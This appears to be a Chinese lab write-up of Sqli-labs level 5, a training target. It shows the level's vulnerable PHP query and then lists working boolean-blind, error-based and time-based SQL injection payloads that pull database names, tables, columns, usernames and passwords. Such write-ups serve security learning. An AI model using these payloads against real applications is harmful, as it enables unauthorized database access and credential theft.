第五关(双注入GET单引号字符型注入-报错时间注入)

盲注
盲注,Blind SQL Injection
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注

核心代码:(不会返回数据库中的数据)

 1 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2 $result=mysql_query($sql);
3 $row = mysql_fetch_array($result);
4 if($row)
5 {
6 echo '<font size="5" color="#FFFF00">';
7 echo 'You are in...........';
8 echo "<br>";
9 echo "</font>";
10 }
11 else
12 {
13
14 echo '<font size="3" color="#FFFF00">';
15 print_r(mysql_error());
16 echo "</br></font>";
17 echo '<font color= "#0000ff" font size= 3>';
18
19 }
20 }
21 else { echo "Please input the ID as parameter with numeric value";}
 1 1.探测PHP版本号
2 id=1' and left(version(),1)=5%23
3
4 2.探测数据库长度
5 id=1' and length(database())=8%23
6 探测数据库名(采用二分法)
7 id=1' and left(database(),1)>'a'%23
8 id=1' and left(database(),1)='s'%23
9 id=1' and left(database(),2)>'se'%23
10 id=1' and left(database(),2)='se'%23
11 id=1' and left(database(),3)>'sec'%23
12 id=1' and left(database(),3)='sec'%23
13 ........
14 id=1' and left(database(),8)='security'%23
15
16
17 3.获取表名
18 substr() ascii()函数进行尝试
19 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>82%23
20 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
21 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23
22 ...
23 逐步测试得出表名为:email
24 想获取第二个表替换limit 后面的值即可第二张表就是limit 1,1
25 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=113%23
26
27
28 4.获取urser中的列
29 利用regexp获取
30 通过regexp检测是否有us**列
31 id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+'
32 通过regexp检测而是否有username开头的列
33 id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
34
35 5.获取列中的内容
36 利用ord()和mid()函数获取users表的内容
37 IFNULL()用于判断第一个表达式是否为NULL 如果是返回第二个 否则返回第一个
38 CAST()把一个字段转成另一个字段
39 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
40 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
41 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
42 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),2,1))=68--+
43 最后爆出 Dumb

第二种方法:报错注入

 1 id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
2
3 数值类型超出范围进行报错注入
4 id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
5
6 利用bigint溢出进行报错注入
7 id=1' union select (!(select * from (select user())x) - ~0),2,3--+
8
9 xpath函数报错注入
10 id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
11
12 id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
13
14 利用数据的重复性
15 id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

第三种:sleep延迟注入

sleep注入是另一种形式的盲注,与bool注入不同,sleep注入没有任何报错信息输出,页面返回不管对或者错都是一种状态,
攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确,只能通过构造sleep注入的SQL测试语句,根据页面的返回时间判断数据库中存储了那些信息
判断是否是时间延迟型的注入

 1 ' and sleep(5)--+
2 爆数据库长度
3 ' and if(length(database())=8,sleep(5),1)--+
4 爆数据库名
5 ' and if(ascii(substr(database(),1,1))>5,sleep(5),1)--+
6 OR
7 ' and if(left(database(),1)='s',sleep(5),1)--+
8 爆判断数据库表数量
9 ' and if((select count(*) from information_schema.tables where table_schema=database())>1,sleep(5),1)--+
10 爆表名
11 ' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1)--+
12 OR
13 ' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
14 ' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='e' --+
15 判断字段数量
16 ' and if((select count(*) from information_schema.columns where table_name='users')>1,sleep(5),1)--+
17 判断字段名
18 ' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'--+
19 爆字段下的数据
20 ' and left((select password from users limit 0,1),1)='D' --+

附:ASCII转换:https://www.qqxiuzi.cn/bianma/ascii.htm
参考学习:https://www.cnblogs.com/lcamry/articles/5717442.html
https://www.cnblogs.com/lcamry/p/6122257.html

重闯Sqli-labs关卡第二天(5关)的更多相关文章

  1. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  2. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  3. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  4. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  5. SQL注入之Sqli-labs系列第二十九关(基于WAF防护的单引号报错注入)

    开始挑战第二十九关(Protection with WAF) 0x1查看源码 (1)login.php页面存在防护,只要检测到存在问题就跳转到hacked.php页面(其他信息看备注) 0x2 for ...

  6. SQL注入之Sqli-labs系列第二十八关(过滤空格、注释符、union select)和第二十八A关

    开始挑战第二十八关(Trick with SELECT & UNION) 第二十八A关(Trick with SELECT & UNION) 0x1看看源代码 (1)与27关一样,只是 ...

  7. SQL注入之Sqli-labs系列第二十六关(过滤空格、注释符、逻辑运算符注入)和第二十六A

    开始挑战第二十六关(Trick with comments and space) 0x1看看源代码 (1)过滤了#  or and  /**/  /  \ ,通过判断也过滤了空格 (2)这样一来只能看 ...

  8. SQL注入之Sqli-labs系列第二十五关(过滤 OR & AND)和第二十五A关(过滤逻辑运算符注释符)

    开始挑战第二十五关(Trick with OR & AND) 第二十五关A(Trick with comments) 0x1先查看源码 (1)这里的or和and采用了i正则匹配,大小写都无法绕 ...

  9. SQL注入之Sqli-labs系列第二十四关(二阶注入)

    开始挑战第二十四关(Second Degree Injections) 0x1 前言 SQL注入一般分为两类:一阶SQL注入(普通SQL注入),二阶SQL注入 .二次注入不是注入两次的意思,请不要混淆 ...

随机推荐

  1. TimeSpan时间间隔详解

    1 public string GetShiXian(string fadanshijian) 2 { 3 string result,chulishijian; 4 5 DateTime fdTim ...

  2. 【API管理 APIM】APIM中如何配置使用URL路径的方式传递参数(如由test.htm?name=xxx 变为test\xxx)

    问题描述 在默认的URL传递参数中,我们使用的是https://test01.azure-api.cn/echo/resource?param1=sample&param2=testname这 ...

  3. Vue踩坑日记-This dependency was not found:element-ui.js

    该问题为在Vue启动项目时候报错找不到element-ui模块 解决办法:打开CMD 控制台 CD到项目根目录 我的目录(C:\Users\Administrator\Desktop\cms-heli ...

  4. webpack学习遇到大坑(纯属自己记录)

    分清webpack1与webpack2区别 1.webpack2的loader不能使用简写了,否则会报如下的错 正确如下: 2.node-sass安装失败,无法下载:Cannot download h ...

  5. 从eclipse迁移到ideal

    个人用eclipse比较多,什么Luna,Neon,Mars.几乎每年都要研发出一个版本.目前所在的这家公司,维护的是一个10年的老项目,需求迭代频率比较高,业务代码臃肿而难理解,依赖关系不清晰,代码 ...

  6. Redis 数据结构与编码技术 (Object Encoding)

    数据结构实现 相信大家对 redis 的数据结构都比较熟悉: string:字符串(可以表示字符串.整数.位图) list:列表(可以表示线性表.栈.双端队列.阻塞队列) hash:哈希表 set:集 ...

  7. python中,*args和**kwargs这两个参数的作用是什么?

    *args和**kwargs这两个都是不定长参数,可以解决函数中参数不固定的问题,*args可以把位置参数转化成元组,**kwagrs可以把关键字参数转化成字段

  8. Luogu P4234 最小差值生成树

    题意 给定一个 \(n\) 个点 \(m\) 条边的有权无向图,求出原图的一棵生成树使得该树上最大边权与最小边权的差值最小. \(\texttt{Data Range:}1\leq n\leq 5\t ...

  9. Java学习的第十五天

    1.今天复习了第四章的内容 重新看了看方法参数问题,final修饰的关键字 2.今天没问题 3.明天学习多态变化

  10. 「MCOI-03」村国题解

    第二篇题解! 可能是退役之前的最后一篇题解了 (好像总共都只写了两篇) 不说了,讲题: 题面 题意: 有T个数据 有一颗树(保证所有的的节点都是相连的),有n个节点,每个节点都有相应的权值与序号,现在 ...